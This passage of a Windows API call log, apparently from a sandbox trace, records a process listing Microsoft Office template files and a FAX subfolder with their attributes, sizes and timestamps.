lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x25ed3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityMergeLetter.Dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1bec38, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityReport.Dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x45054, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityResume.Dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f0bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialLetter.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1ea93, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialMergeLetter.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xbc195, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialReport.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x47014, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialResume.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x11d28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveLetter.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x12042, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveMergeLetter.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3d49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveNewsletter.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xcb42a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveReport.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1b00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveResume.dotx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x4a4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExpenseReport.xltx", cAlternateFileName="")) returned 1 [0079.914] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAX", cAlternateFileName="")) returned 1 [0079.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0079.915] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.915] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.915] NtClose (Handle=0x164) returned 0x0 [0079.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce08 [0079.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.916] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0079.918] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.918] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityFax.Dotx", cAlternateFileName="")) returned 1 [0079.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1226da8 [0079.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce08) returned 1 [0079.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3d50 [0079.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227b10 [0079.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.919] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x19972, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianFax.Dotx", cAlternateFileName="")) returned 1 [0079.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3d70 [0079.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123aaf8 [0079.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.920] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1bbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielFax.Dotx", cAlternateFileName="")) returned 1 [0079.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3d90 [0079.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ac00 [0079.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.921] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x16d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginFax.Dotx", cAlternateFileName="")) returned 1 [0079.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3db0 [0079.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ad08 [0079.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.922] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x13901, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanFax.Dotx", cAlternateFileName="")) returned 1 [0079.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3dd0 [0079.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ae10 [0079.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.924] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x13901, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanFax.Dotx", cAlternateFileName="")) returned 0 [0079.924] GetLastError () returned 0x12 [0079.924] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0079.924] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.924] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.924] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityFax.Dotx", cAlternateFileName="")) returned 1 [0079.924] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x19972, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianFax.Dotx", cAlternateFileName="")) returned 1 [0079.924] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1bbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielFax.Dotx", cAlternateFileName="")) returned 1 [0079.924] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x16d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginFax.Dotx", cAlternateFileName="")) returned 1 [0079.924] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x13901, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanFax.Dotx", cAlternateFileName="")) returned 1 [0079.924] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x13901, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanFax.Dotx", cAlternateFileName="")) returned 0 [0079.924] GetLastError () returned 0x12 [0079.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.924] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0079.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1226da8) returned 1 [0079.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.925] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiveRules.potx", cAlternateFileName="")) returned 1 [0079.925] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba83800, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5b76030, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ba83800, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x10b563f, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntroducingPowerPoint2010.potx", cAlternateFileName="")) returned 1 [0079.925] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoanAmortization.xltx", cAlternateFileName="")) returned 1 [0079.925] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1cbba, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianLetter.Dotx", cAlternateFileName="")) returned 1 [0079.925] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1955a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianMergeFax.Dotx", cAlternateFileName="")) returned 1 [0079.925] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1cd77, dwReserved0=0x0, 